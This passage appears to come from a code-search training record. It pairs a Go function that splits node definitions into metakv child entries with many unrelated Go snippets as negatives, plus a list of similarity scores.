element\n\t\t\t\telem.matchingElementsAndFields = append(elem.matchingElementsAndFields, subFields[i])\n\t\t\t}\n\t\t}\n\t\t// clear this cached data\n\t\tfield.subFieldByMatch = nil\n\t}\n\n\t// put the fields in a list so they are ordered\n\tfieldList := treeFields{}\n\tfor _, v := range fieldsByName {\n\t\tfieldList = append(fieldList, v)\n\t}\n\n\t// sort the fields\n\tsort.Sort(fieldList)\n\tfor i := range fieldList {\n\t\tfield := fieldList[i]\n\t\t// sort the elements under this field\n\t\tsort.Sort(field.matchingElementsAndFields)\n\n\t\tfor i := range field.matchingElementsAndFields {\n\t\t\telement := field.matchingElementsAndFields[i]\n\t\t\t// sort the elements under a list field by their name\n\t\t\tsort.Sort(element.matchingElementsAndFields)\n\t\t\t// set the name of the element to its index\n\t\t\telement.name = fmt.Sprintf(\"%d\", i)\n\t\t}\n\t}\n\n\treturn fieldList, nil\n}", "func MGets(keys []string) map[uint16]Completed {\n\treturn slotMCMDs(\"MGET\", keys, mtGetTag)\n}", "func (r *etcdRepository) get(ctx context.Context, key string) (*etcd.GetResponse, error) {\n\tresp, err := r.client.Get(ctx, key)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"get value failure for key[%s], error:%s\", key, err)\n\t}\n\treturn resp, nil\n}", "func (d *Dot) G(keys ...string) *Dot {\n\tc := d\n\tfor i := range keys {\n\t\tc.l.Lock() // protect me, and ...\n\t\tdefer c.l.Unlock() // release me, let me go ...\n\t\tc = c.getChild(keys[i])\n\t}\n\treturn c\n}", "func d6getBranches(node *d6nodeT, branch *d6branchT, parVars *d6partitionVarsT) {\n\t// Load the branch buffer\n\tfor index := 0; index < d6maxNodes; index++ {\n\t\tparVars.branchBuf[index] = node.branch[index]\n\t}\n\tparVars.branchBuf[d6maxNodes] = *branch\n\tparVars.branchCount = d6maxNodes + 1\n\n\t// Calculate rect containing all in the set\n\tparVars.coverSplit = parVars.branchBuf[0].rect\n\tfor index := 1; index < d6maxNodes+1; index++ {\n\t\tparVars.coverSplit = d6combineRect(&parVars.coverSplit, &parVars.branchBuf[index].rect)\n\t}\n\tparVars.coverSplitArea = d6calcRectVolume(&parVars.coverSplit)\n}", "func d14getBranches(node *d14nodeT, branch *d14branchT, parVars *d14partitionVarsT) {\n\t// Load the branch buffer\n\tfor index := 0; index < d14maxNodes; index++ {\n\t\tparVars.branchBuf[index] = node.branch[index]\n\t}\n\tparVars.branchBuf[d14maxNodes] = *branch\n\tparVars.branchCount = d14maxNodes + 1\n\n\t// Calculate rect containing all in the set\n\tparVars.coverSplit = parVars.branchBuf[0].rect\n\tfor index := 1; index < d14maxNodes+1; index++ {\n\t\tparVars.coverSplit = d14combineRect(&parVars.coverSplit, &parVars.branchBuf[index].rect)\n\t}\n\tparVars.coverSplitArea = d14calcRectVolume(&parVars.coverSplit)\n}", "func (h *handler) getExpand(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\tmaxDepth, err := x.GetMaxDepthFromQuery(r.URL.Query())\n\tif err != nil {\n\t\th.d.Writer().WriteError(w, r, herodot.ErrBadRequest.WithError(err.Error()))\n\t\treturn\n\t}\n\n\tsubSet := (&ketoapi.SubjectSet{}).FromURLQuery(r.URL.Query())\n\tinternal, err := h.d.ReadOnlyMapper().FromSubjectSet(r.Context(), subSet)\n\tif err != nil {\n\t\th.d.Writer().WriteError(w, r, err)\n\t\treturn\n\t}\n\n\tres, err := h.d.ExpandEngine().BuildTree(r.Context(), internal, maxDepth)\n\tif err != nil {\n\t\th.d.Writer().WriteError(w, r, err)\n\t\treturn\n\t}\n\tif res == nil {\n\t\th.d.Writer().Write(w, r, herodot.ErrNotFound.WithError(\"no relation tuple found\"))\n\t\treturn\n\t}\n\n\ttree, err := h.d.ReadOnlyMapper().ToTree(r.Context(), res)\n\tif err != nil {\n\t\th.d.Writer().WriteError(w, r, err)\n\t\treturn\n\t}\n\n\th.d.Writer().Write(w, r, tree)\n}", "func (sc *BaseSmartContract) GetChild(key string) (object.Child, error) {\n\tchild, err := sc.ChildStorage.Get(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn child.(object.Child), nil\n}", "func (g *GCache) GetMulti(keys []string) map[string]any {\n\tdata := make(map[string]any, len(keys))\n\n\tfor _, key := range keys {\n\t\tval, err := g.db.Get(key)\n\t\tif err == nil {\n\t\t\tdata[key] = val\n\t\t} // TODO log error\n\t}\n\n\treturn data\n}", "func PutAndGetMulti(s *session.Session, rt *RoleType) (RoleTypes, error) {\n\trts := make(RoleTypes)\n\trtNew := new(RoleType)\n\t// USAGE \"s.Ctx\" INSTEAD OF \"ctx\" INSIDE THE TRANSACTION IS WRONG !!!!!!!!!!!!!!!!!\n\terr := datastore.RunInTransaction(s.Ctx, func(ctx context.Context) (err1 error) {\n\t\trtNew, err1 = Put(s.Ctx, rt)\n\t\tif err1 != nil {\n\t\t\treturn\n\t\t}\n\t\trts, err1 = GetMulti(s.Ctx, nil)\n\t\treturn\n\t}, nil)\n\trts[rtNew.ID] = rtNew\n\treturn rts, err\n}" ]
[ "0.55799687", "0.5377851", "0.53763705", "0.5294848", "0.5266243", "0.52628016", "0.52261454", "0.5222144", "0.51936895", "0.5187594", "0.5167908", "0.51578975", "0.5086406", "0.50811934", "0.50706285", "0.50636095", "0.50496906", "0.503869", "0.5033392", "0.49442112", "0.49380907", "0.49362493", "0.4914645", "0.48630035", "0.48615086", "0.48468432", "0.48323584", "0.4783183", "0.47610343", "0.4757943", "0.47550386", "0.47548142", "0.47510028", "0.47417432", "0.4733958", "0.47246164", "0.47143945", "0.47012052", "0.46863696", "0.46793032", "0.46718073", "0.46689034", "0.4665436", "0.46581286", "0.4648201", "0.46469238", "0.46466875", "0.46446255", "0.46446255", "0.46429998", "0.46349117", "0.4630967", "0.46307227", "0.46281844", "0.46207878", "0.46201873", "0.46167555", "0.46165228", "0.46093205", "0.45964977", "0.45954752", "0.45950234", "0.45916235", "0.45862153", "0.45858535", "0.45823118", "0.45795497", "0.4575889", "0.45540914", "0.4554006", "0.45433068", "0.454122", "0.45404857", "0.45400727", "0.45304778", "0.45289782", "0.45206264", "0.45194897", "0.4504416", "0.45032212", "0.4501874", "0.45010844", "0.44960544", "0.44905242", "0.4486201", "0.44817194", "0.44809088", "0.44795635", "0.4477438", "0.4475479", "0.44751233", "0.44662264", "0.4464723", "0.44561422", "0.445287", "0.4449575", "0.44475922", "0.44474956", "0.4445759", "0.44457522" ]
0.66057813
0
set() splits a nodeDefs into multiple child metakv entries and must be invoked with c.m.Lock()'ed.
func (a *cfgMetaKvNodeDefsSplitHandler) set( c *CfgMetaKv, key string, val []byte, cas uint64) (uint64, error) { path := c.keyToPath(key) curEntry := c.splitEntries[key] if cas != math.MaxUint64 && cas != 0 && cas != curEntry.cas { log.Warnf("cfg_metakv: Set split, key: %v, cas mismatch: %x != %x", key, cas, curEntry.cas) return 0, &CfgCASError{} } var curNodeDefs NodeDefs if curEntry.data != nil && len(curEntry.data) > 0 { err := json.Unmarshal(curEntry.data, &curNodeDefs) if err != nil { return 0, err } } var nd NodeDefs err := json.Unmarshal(val, &nd) if err != nil { return 0, err } // Analyze which children were added, removed, updated. // added := map[string]bool{} removed := map[string]bool{} updated := map[string]bool{} for k, v := range nd.NodeDefs { if curNodeDefs.NodeDefs == nil || curNodeDefs.NodeDefs[k] == nil { added[k] = true } else { if !reflect.DeepEqual(curNodeDefs.NodeDefs[k], v) { updated[k] = true } } } if curNodeDefs.NodeDefs != nil { for k := range curNodeDefs.NodeDefs { if nd.NodeDefs[k] == nil { removed[k] = true } } } log.Printf("cfg_metakv: Set split, key: %v,"+ " added: %v, removed: %v, updated: %v", key, added, removed, updated) LOOP: for k, v := range nd.NodeDefs { if cas != math.MaxUint64 && c.nodeUUID != "" && c.nodeUUID != v.UUID { // If we have a nodeUUID, only add/update our // nodeDef, where other nodes will each add/update // only their own nodeDef's. log.Printf("cfg_metakv: Set split, key: %v,"+ " skipping other node UUID: %v, self nodeUUID: %s", key, v.UUID, c.nodeUUID) continue LOOP } childNodeDefs := NodeDefs{ UUID: nd.UUID, NodeDefs: map[string]*NodeDef{}, ImplVersion: nd.ImplVersion, } childNodeDefs.NodeDefs[k] = v val, err = json.Marshal(childNodeDefs) if err != nil { return 0, err } childPath := path + "/" + k log.Printf("cfg_metakv: Set split, key: %v, childPath: %v", key, childPath) err = metakv.Set(childPath, val, nil) if err != nil { return 0, err } if cas != math.MaxUint64 { break LOOP } } // Remove composite children entries from metakv only if // caller was attempting removals only. This should work as // the caller usually has read-compute-write logic that only // removes node defs and does not add/update node defs in the // same read-compute-write code path. // if len(added) <= 0 && len(updated) <= 0 && len(removed) > 0 { for nodeDefUUID := range removed { childPath := path + "/" + nodeDefUUID log.Printf("cfg_metakv: Set delete, childPath: %v", childPath) err = metakv.Delete(childPath, nil) if err != nil { return 0, err } } } casResult := c.lastSplitCAS + 1 c.lastSplitCAS = casResult return casResult, err }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (n *Nodes) Set(s []*Node)", "func setNodeArgs(n *spec.Node, argsTo, argsFrom map[string]interface{}) error {\n\tif len(n.Sets) == 0 {\n\t\treturn nil\n\t}\n\tfor _, key := range n.Sets {\n\t\tvar ok bool\n\t\tvar val interface{}\n\t\tval, ok = argsFrom[*key.Arg]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"expected %s to set %s in jobargs\", *n.NodeType, *key.Arg)\n\t\t}\n\t\targsTo[*key.As] = val\n\t}\n\n\treturn nil\n}", "func (m *DeviceManagementConfigurationSettingGroupDefinition) SetChildIds(value []string)() {\n err := m.GetBackingStore().Set(\"childIds\", value)\n if err != nil {\n panic(err)\n }\n}", "func (m *Set) SetChildren(value []Termable)() {\n err := m.GetBackingStore().Set(\"children\", value)\n if err != nil {\n panic(err)\n }\n}", "func (c *Dg) Set(e ...Entry) error {\n var err error\n\n if len(e) == 0 {\n return nil\n }\n\n _, fn := c.versioning()\n names := make([]string, len(e))\n\n // Build up the struct with the given configs.\n d := util.BulkElement{XMLName: xml.Name{Local: \"device-group\"}}\n for i := range e {\n d.Data = append(d.Data, fn(e[i]))\n names[i] = e[i].Name\n }\n c.con.LogAction(\"(set) device groups: %v\", names)\n\n // Set xpath.\n path := c.xpath(names)\n if len(e) == 1 {\n path = path[:len(path) - 1]\n } else {\n path = path[:len(path) - 2]\n }\n\n // Create the device groups.\n _, err = c.con.Set(path, d.Config(), nil, nil)\n return err\n}", "func (e *EvaluateJobArgsBuilder) setNodeSelectors() error {\n\te.args.NodeSelectors = map[string]string{}\n\targKey := \"selector\"\n\tvar nodeSelectors *[]string\n\tvalue, ok := e.argValues[argKey]\n\tif !ok {\n\t\treturn nil\n\t}\n\tnodeSelectors = value.(*[]string)\n\tlog.Debugf(\"node selectors: %v\", *nodeSelectors)\n\te.args.NodeSelectors = transformSliceToMap(*nodeSelectors, \"=\")\n\treturn nil\n}", "func SetNodes(ns []string) {\n\tnodes = ns\n}", "func (node *Node) Set(key uint32, value Value) (into *Node) {\n\tinto = node.NewRoot(key)\n\tnode = into\n\n\tfor node.Shift > 0 {\n\t\tnode = node.CopySubKey((key >> node.Shift) & MASK)\n\t}\n\n\tnode.Elements[(key & MASK)] = value\n\n\treturn\n}", "func (m Object) Set(k string, v Node) Object {\n\tm[k] = v\n\treturn m\n}", "func (m *SplitNode_Children) SetRef(index int, nodeRef int64) {\n\tif index < 0 {\n\t\treturn\n\t}\n\n\tif m.Dense != nil {\n\t\tm.setDense(index, nodeRef)\n\t\treturn\n\t}\n\n\tif n := int64(index + 1); n > m.SparseCap {\n\t\tm.SparseCap = n\n\t}\n\tif m.Sparse == nil {\n\t\tm.Sparse = make(map[int64]int64, 1)\n\t}\n\tm.Sparse[int64(index)] = nodeRef\n\tif sparsedense.BetterOffDense(len(m.Sparse), int(m.SparseCap)) {\n\t\tm.convertToDense()\n\t}\n}", "func (s *store) setMetaNode(addr, raftAddr string) error {\n\tval := &internal.SetMetaNodeCommand{\n\t\tHTTPAddr: proto.String(addr),\n\t\tTCPAddr: proto.String(raftAddr),\n\t\tRand: proto.Uint64(uint64(rand.Int63())),\n\t}\n\tt := internal.Command_SetMetaNodeCommand\n\tcmd := &internal.Command{Type: &t}\n\tif err := proto.SetExtension(cmd, internal.E_SetMetaNodeCommand_Command, val); err != nil {\n\t\tpanic(err)\n\t}\n\n\tb, err := proto.Marshal(cmd)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.logger.Info(\"set meta node apply begin\")\n\treturn s.apply(b)\n}", "func (sv *SupernodesValue) Set(value string) error {\n\tnodes := strings.Split(value, \",\")\n\tfor _, n := range nodes {\n\t\tv := strings.Split(n, \"=\")\n\t\tif len(v) == 0 || len(v) > 2 {\n\t\t\treturn errors.New(\"invalid nodes\")\n\t\t}\n\t\t// ignore weight\n\t\tnode := v[0]\n\t\tvv := strings.Split(node, \":\")\n\t\tif len(vv) >= 2 {\n\t\t\treturn errors.New(\"invalid nodes\")\n\t\t}\n\t\tif len(vv) == 1 {\n\t\t\tnode = fmt.Sprintf(\"%s:%d\", node, DefaultSchedulerPort)\n\t\t}\n\t\tsv.Nodes = append(sv.Nodes, node)\n\t}\n\treturn nil\n}", "func set(s kvs.Store) {\n\tc := context.Background()\n\tdb := &Data{}\n\n\t// Creating the first node object\n\tn := Node{\n\t\tID: \"100\",\n\t\tName: \"foobar\",\n\t\tDescription: \"This is a nice node\",\n\t}\n\tstore.Set(s, c, db, \"/db/stored/here/\", n, \"Nodes\", \"100\")\n\n\t// Creating the second node object\n\tn = Node{\n\t\tID: \"101\",\n\t\tName: \"barfoo\",\n\t\tDescription: \"This is another nice node\",\n\t}\n\tstore.Set(s, c, db, \"/db/stored/here/\", n, \"Nodes\", \"101\")\n\n\t// Creating an edge\n\tstore.Set(s, c, db, \"/db/stored/here/\", Edge{\n\t\tNodeID1: \"100\",\n\t\tNodeID2: \"101\",\n\t}, \"Edges\", \"10\")\n\n\t// Setting the QuitDemo boolean\n\tstore.Set(s, c, db, \"/db/stored/here/\", true, \"QuitDemo\")\n}", "func (m *DeviceManagementConfigurationSetting) SetSettingDefinitions(value []DeviceManagementConfigurationSettingDefinitionable)() {\n err := m.GetBackingStore().Set(\"settingDefinitions\", value)\n if err != nil {\n panic(err)\n }\n}", "func (n *Nodes) Set(node string) error {\n\t*n = append(*n, node)\n\treturn nil\n}", "func SetChildren(index, firstchild, lastchild int) {\n\tC.hepevt_set_children(\n\t\tC.int(index+1),\n\t\tC.int(firstchild),\n\t\tC.int(lastchild))\n}", "func (t *Trie) SetValue(key string, value any) {\n\tcur := t.root\n\tfor _, r := range key {\n\t\tnext, ok := cur.children[r]\n\t\tif !ok {\n\t\t\tnext = &node{children: make(map[rune]*node)}\n\t\t\tcur.children[r] = next\n\t\t}\n\t\tcur = next\n\t}\n\n\tif cur.value != nil {\n\t\tt.size--\n\t}\n\tif value != nil {\n\t\tt.size++\n\t}\n\tcur.value = value\n}", "func (s *Server) set(ctx context.Context, req *gnmipb.SetRequest) (*gnmipb.SetResponse, error) {\n\tvar err error\n\tprefix := req.GetPrefix()\n\tresult := make([]*gnmipb.UpdateResult, 0,\n\t\tlen(req.GetDelete())+len(req.GetReplace())+len(req.GetUpdate())+1)\n\n\t// Lock updates of the data node\n\ts.Lock()\n\tdefer s.Unlock()\n\n\terr = s.setStart(false)\n\tfor _, path := range req.GetDelete() {\n\t\tif err != nil {\n\t\t\tresult = append(result, buildUpdateResultAborted(gnmipb.UpdateResult_DELETE, path))\n\t\t\tcontinue\n\t\t}\n\t\terr = s.setDelete(prefix, path)\n\t\tresult = append(result, buildUpdateResult(gnmipb.UpdateResult_DELETE, path, err))\n\t}\n\tfor _, r := range req.GetReplace() {\n\t\tpath := r.GetPath()\n\t\tif err != nil {\n\t\t\tresult = append(result, buildUpdateResultAborted(gnmipb.UpdateResult_REPLACE, path))\n\t\t\tcontinue\n\t\t}\n\t\terr = s.setReplace(prefix, path, r.GetVal())\n\t\tresult = append(result, buildUpdateResult(gnmipb.UpdateResult_REPLACE, path, err))\n\t}\n\tfor _, u := range req.GetUpdate() {\n\t\tpath := u.GetPath()\n\t\tif err != nil {\n\t\t\tresult = append(result, buildUpdateResultAborted(gnmipb.UpdateResult_UPDATE, path))\n\t\t\tcontinue\n\t\t}\n\t\terr = s.setUpdate(prefix, path, u.GetVal())\n\t\tresult = append(result, buildUpdateResult(gnmipb.UpdateResult_UPDATE, path, err))\n\t}\n\terr = s.setEnd(err)\n\tif err != nil {\n\t\ts.setStart(true)\n\t\ts.setRollback()\n\t\ts.setEnd(nil)\n\t}\n\ts.setDone(err)\n\tresp := &gnmipb.SetResponse{\n\t\tPrefix: prefix,\n\t\tResponse: result,\n\t}\n\treturn resp, err\n}", "func (r *Root) BatchSet(ctx context.Context, vals []cbg.CBORMarshaler) error {\n\t// TODO: there are more optimized ways of doing this method\n\tfor i, v := range vals {\n\t\tif err := r.Set(ctx, uint64(i), v); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (f *Flow) setUUIDs(key, l2Key, l3Key uint64) {\n\tf.TrackingID = strconv.FormatUint(l2Key, 16)\n\tf.L3TrackingID = strconv.FormatUint(l3Key, 16)\n\n\tvalue64 := make([]byte, 8)\n\tbinary.BigEndian.PutUint64(value64, uint64(f.Start))\n\n\thasher := xxHash64.New(key)\n\thasher.Write(value64)\n\thasher.Write([]byte(f.NodeTID))\n\n\tf.UUID = strconv.FormatUint(hasher.Sum64(), 16)\n}", "func (m *AccessReviewSet) SetDefinitions(value []AccessReviewScheduleDefinitionable)() {\n m.definitions = value\n}", "func (a *cfgMetaKvNodeDefsSplitHandler) get(\n\tc *CfgMetaKv, key string, cas uint64) ([]byte, uint64, error) {\n\tm, err := metakv.ListAllChildren(c.keyToPath(key) + \"/\")\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\trv := &NodeDefs{NodeDefs: make(map[string]*NodeDef)}\n\n\tuuids := []string{}\n\tfor _, v := range m {\n\t\tvar childNodeDefs NodeDefs\n\n\t\terr = json.Unmarshal(v.Value, &childNodeDefs)\n\t\tif err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\n\t\tfor k1, v1 := range childNodeDefs.NodeDefs {\n\t\t\trv.NodeDefs[k1] = v1\n\t\t}\n\n\t\t// use the lowest version among nodeDefs\n\t\tif rv.ImplVersion == \"\" ||\n\t\t\t!VersionGTE(childNodeDefs.ImplVersion, rv.ImplVersion) {\n\t\t\trv.ImplVersion = childNodeDefs.ImplVersion\n\t\t}\n\n\t\tuuids = append(uuids, childNodeDefs.UUID)\n\t}\n\trv.UUID = checkSumUUIDs(uuids)\n\n\tif rv.ImplVersion == \"\" {\n\t\tversion := VERSION\n\t\tv, _, err := c.getRawLOCKED(VERSION_KEY, 0)\n\t\tif err == nil {\n\t\t\tversion = string(v)\n\t\t}\n\t\trv.ImplVersion = version\n\t}\n\n\tdata, err := json.Marshal(rv)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tcasResult := c.lastSplitCAS + 1\n\tc.lastSplitCAS = casResult\n\n\tc.splitEntries[key] = CfgMetaKvEntry{\n\t\tcas: casResult,\n\t\tdata: data,\n\t}\n\n\treturn data, casResult, nil\n}", "func (api *NodeApi) bulkPut(w http.ResponseWriter, req *http.Request) {\n\tvars := mux.Vars(req)\n\tplog.Debug(fmt.Sprintf(\"Receive %s request %s %v from %s.\", req.Method, req.URL.Path, vars, req.RemoteAddr))\n\tvar err error\n\tvar resp []byte\n\tif _, ok := req.URL.Query()[\"state\"]; !ok {\n\t\tplog.HandleHttp(w, req, http.StatusBadRequest, \"Could not get state parameter\")\n\t\treturn\n\t}\n\tstate := req.URL.Query()[\"state\"][0]\n\tvar storNodes map[string][]storage.Node\n\tbody, err := ioutil.ReadAll(req.Body)\n\tif err != nil {\n\t\tplog.HandleHttp(w, req, http.StatusInternalServerError, err.Error())\n\t\treturn\n\t}\n\tif err := req.Body.Close(); err != nil {\n\t\tplog.HandleHttp(w, req, http.StatusInternalServerError, err.Error())\n\t\treturn\n\t}\n\tif err := json.Unmarshal(body, &storNodes); err != nil {\n\t\tplog.HandleHttp(w, req, http.StatusUnprocessableEntity, err.Error())\n\t\treturn\n\t}\n\tnodes := make([]string, 0, len(storNodes[\"nodes\"]))\n\tfor _, v := range storNodes[\"nodes\"] {\n\t\tnodes = append(nodes, v.Name)\n\t}\n\tresult := nodeManager.SetConsoleState(nodes, state)\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\tif resp, err = json.Marshal(result); err != nil {\n\t\tplog.HandleHttp(w, req, http.StatusInternalServerError, err.Error())\n\t\treturn\n\t}\n\tw.WriteHeader(http.StatusAccepted)\n\tfmt.Fprintf(w, \"%s\\n\", resp)\n}", "func Set(x interface{}, args ...interface{}) Node {\n\treturn Node{&ast.Set{\n\t\tStartOp: \"{\",\n\t\tEndOp: \"}\",\n\t\tX: ToNode(x).Node,\n\t\tY: ArgsList(args...).Node,\n\t}}\n}", "func SetDirectives(node ast.Node, directives []*ast.Directive) bool {\n\tswitch one := node.(type) {\n\tcase *ast.ScalarDefinition:\n\t\tone.Directives = directives\n\tcase *ast.FieldDefinition:\n\t\tone.Directives = directives\n\tcase *ast.EnumDefinition:\n\t\tone.Directives = directives\n\tcase *ast.EnumValueDefinition:\n\t\tone.Directives = directives\n\tcase *ast.ObjectDefinition:\n\t\tone.Directives = directives\n\tcase *ast.TypeExtensionDefinition:\n\t\tone.Definition.Directives = directives\n\tcase *ast.InterfaceDefinition:\n\t\tone.Directives = directives\n\tcase *ast.InputObjectDefinition:\n\t\tone.Directives = directives\n\tcase *ast.InputValueDefinition:\n\t\tone.Directives = directives\n\tdefault:\n\t\treturn false\n\t}\n\n\treturn true\n}", "func (g *NodeGroup) SetNodes(new ...Node) (old []Node) {\n\treturn\n}", "func (c *Variable) Set(tmpl, ts string, e ...Entry) error {\n var err error\n\n if len(e) == 0 {\n return nil\n } else if tmpl == \"\" && ts == \"\" {\n return fmt.Errorf(\"tmpl or ts must be specified\")\n }\n\n _, fn := c.versioning()\n names := make([]string, len(e))\n\n // Build up the struct with the given configs.\n d := util.BulkElement{XMLName: xml.Name{Local: \"variable\"}}\n for i := range e {\n d.Data = append(d.Data, fn(e[i]))\n names[i] = e[i].Name\n }\n c.con.LogAction(\"(set) template variables: %v\", names)\n\n // Set xpath.\n path := c.xpath(tmpl, ts, names)\n if len(e) == 1 {\n path = path[:len(path) - 1]\n } else {\n path = path[:len(path) - 2]\n }\n\n // Create the template variables.\n _, err = c.con.Set(path, d.Config(), nil, nil)\n return err\n}", "func (n *node) setValues(values *Values) bool {\n\tif values.IsEmpty() {\n\t\tif n.isEmpty() {\n\t\t\treturn false\n\t\t}\n\t\tn.value = nil\n\t\tn.children = nil\n\t\treturn true\n\t}\n\tchanged := false\n\tvalues.EachKeyValue(func(key Key, value interface{}) {\n\t\tchanged = n.put(key, value) || changed\n\t})\n\treturn changed\n}", "func (n *Node) SetMetadata(key string, val string) (err error) {\n\tnodePath := n.InternalPath()\n\tif err := xattr.Set(nodePath, key, []byte(val)); err != nil {\n\t\treturn errors.Wrap(err, \"decomposedfs: could not set parentid attribute\")\n\t}\n\treturn nil\n}", "func (d *Database) SetLeafMetadata(ctx context.Context, start int64, metadata []Metadata) error {\n\ttx, err := d.db.BeginTx(ctx, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"BeginTx: %v\", err)\n\t}\n\tfor mi, m := range metadata {\n\t\tmidx := int64(mi) + start\n\t\ttx.Exec(\"INSERT INTO leafMetadata (id, module, version, fileshash, modhash) VALUES (?, ?, ?, ?, ?)\", midx, m.module, m.version, m.repoHash, m.modHash)\n\t}\n\treturn tx.Commit()\n}", "func setParent(node, parent *I3Node) {\n\n\tnode.Parent = parent\n\n\tfor i := range node.Nodes {\n\t\tsetParent(&node.Nodes[i], node)\n\t}\n\tfor i := range node.Floating_Nodes {\n\t\tsetParent(&node.Floating_Nodes[i], node)\n\t}\n}", "func (cfg *Config) setMulti(variables map[string]string, export bool) error {\n\t// sort keys to make the output testable\n\tvar keys []string\n\tfor k := range variables {\n\t\tkeys = append(keys, k)\n\t}\n\tsort.Strings(keys)\n\n\tfor _, k := range keys {\n\t\tcfg.Set(k, variables[k], export)\n\t}\n\n\treturn cfg.Do()\n}", "func (node *Node) SetMetadata(key, value string) {\n\tstr := strings.Join([]string{key, value}, \"=\")\n\tif node.Meta == nil || len(node.Meta) == 0 {\n\t\tnode.Meta = []byte(str)\n\t} else {\n\t\tnode.Meta = append(node.Meta, append([]byte(\",\"), []byte(str)...)...)\n\t}\n}", "func (s *SkipList) setNodeValue(node *node, val []byte) {\n\tnewValSize := uint32(len(val))\n\tvalOffset, valSize := node.decodeValue()\n\t// If node currently has a value and the size of the value is bigger than new value,\n\t// use previous value's memory for new value.\n\tif valSize >= newValSize {\n\t\ts.valueAllocator.putBytesTo(valOffset, val)\n\t\tnode.encodeValue(valOffset, newValSize)\n\t\treturn\n\t}\n\t// If the length of new node is greater than odl node, forget old value\n\t// and allocate new space in memory for new value.\n\tnewOffset := s.valueAllocator.putBytes(val)\n\tnode.encodeValue(newOffset, newValSize)\n}", "func (n *Node) Set(key string, val interface{}) {\n\tn.Properties[key] = val\n}", "func (w *ListWidget) SetNodes(nodes []*expanders.TreeNode) {\n\n\t// Capture current view to navstack\n\tif w.HasCurrentItem() {\n\t\tw.navStack.Push(&Page{\n\t\t\tData: w.contentView.GetContent(),\n\t\t\tDataType: w.contentView.GetContentType(),\n\t\t\tValue: w.items,\n\t\t\tTitle: w.title,\n\t\t\tSelection: w.selected,\n\t\t\tExpandedNodeItem: w.CurrentItem(),\n\t\t})\n\n\t\tcurrentID := w.CurrentItem().ID\n\t\tfor _, node := range nodes {\n\t\t\tif node.ID == currentID {\n\t\t\t\tpanic(fmt.Errorf(\"ids must be unique or the navigate command breaks\"))\n\t\t\t}\n\t\t}\n\t}\n\n\tw.selected = 0\n\tw.items = nodes\n\tw.ClearFilter()\n}", "func (d *Dao) SetXMLSegCache(c context.Context, tp int32, oid, cnt, num int64, value []byte) (err error) {\n\tkey := keyXMLSeg(tp, oid, cnt, num)\n\tconn := d.dmMC.Get(c)\n\titem := memcache.Item{\n\t\tKey: key,\n\t\tValue: value,\n\t\tExpiration: d.dmExpire,\n\t\tFlags: memcache.FlagRAW,\n\t}\n\tif err = conn.Set(&item); err != nil {\n\t\tlog.Error(\"mc.Set(%v) error(%v)\", item, err)\n\t}\n\tconn.Close()\n\treturn\n}", "func (s *SkipList) Set(key []byte, val []byte) {\n\tlistHeight := s.getHeight()\n\n\tvar prevNodes [DefaultMaxHeight + 1]*node\n\tvar nextNodesOffsets [DefaultMaxHeight + 1]uint32\n\tvar sameKey bool\n\n\tprevNodes[listHeight] = s.head\n\n\t// Starting from the highest level, find the suitable position to\n\t// put the node for each level.\n\tfor i := int(listHeight) - 1; i >= 0; i-- {\n\t\tprevNodes[i], nextNodesOffsets[i], sameKey = s.getNeighbourNodes(prevNodes[i+1], uint8(i), key)\n\t\t// if there is already a node with the same key, there is no need to\n\t\t// create a new node, just use it.\n\t\tif sameKey {\n\t\t\ts.setNodeValue(prevNodes[i], val)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Create a new node.\n\tnodeHeight := s.randomHeight()\n\tnode, nodeOffset := newNode(s.mainAllocator, s.valueAllocator, nodeHeight, key, val)\n\n\t// If the height of new node is more then current height of the list,\n\t// try to increase list height using CAS, since it can be changed.\n\tfor listHeight < uint32(nodeHeight) {\n\t\tif s.casHeight(listHeight, uint32(nodeHeight)) {\n\t\t\tbreak\n\t\t}\n\t\tlistHeight = s.getHeight()\n\t}\n\n\t// Start from base level and put new node.\n\t// We are starting from base level to prevent race conditions\n\t// for neighbors.\n\tfor i := uint8(0); i < nodeHeight; i++ {\n\t\tfor {\n\t\t\t// if prevNodes[i] is nil, it means at the time of search,\n\t\t\t// list height was less than new node length.\n\t\t\t// We need to discover this level.\n\t\t\tif prevNodes[i] == nil {\n\t\t\t\tprevNodes[i], nextNodesOffsets[i], _ = s.getNeighbourNodes(s.head, i, key)\n\t\t\t}\n\n\t\t\tnode.layers[i] = nextNodesOffsets[i]\n\t\t\tif prevNodes[i].casNextNodeOffset(i, nextNodesOffsets[i], nodeOffset) {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\t// If cas fails, we need to rediscover this level\n\t\t\tprevNodes[i], nextNodesOffsets[i], sameKey = s.getNeighbourNodes(prevNodes[i], i, key)\n\t\t\tif sameKey {\n\t\t\t\ts.setNodeValue(prevNodes[i], val)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n}", "func (m *MerkleTree) Set(index []byte, key string, value []byte) error {\n\tcommitment, err := crypto.NewCommit([]byte(key), value)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttoAdd := userLeafNode{\n\t\tkey: key,\n\t\tvalue: append([]byte{}, value...), // make a copy of value\n\t\tindex: index,\n\t\tcommitment: commitment,\n\t}\n\tm.insertNode(index, &toAdd)\n\treturn nil\n}", "func (node *SimpleNode) SetNodes(nodes Nodes) {\n\tnode.children = nodes\n}", "func (fi *funcInfo) emitSetList(line, a, b, c int) {\r\n\tfi.emitABC(line, OP_SETLIST, a, b, c)\r\n}", "func (_ResolverContract *ResolverContractSession) SetMultiaddr(node [32]byte, multiaddr []byte) (*types.Transaction, error) {\n\treturn _ResolverContract.Contract.SetMultiaddr(&_ResolverContract.TransactOpts, node, multiaddr)\n}", "func (m *EntityMap) Set(x, y, z int64, eid engine.Entity) {\n key := (x&0xFFFFF0)<<36 + 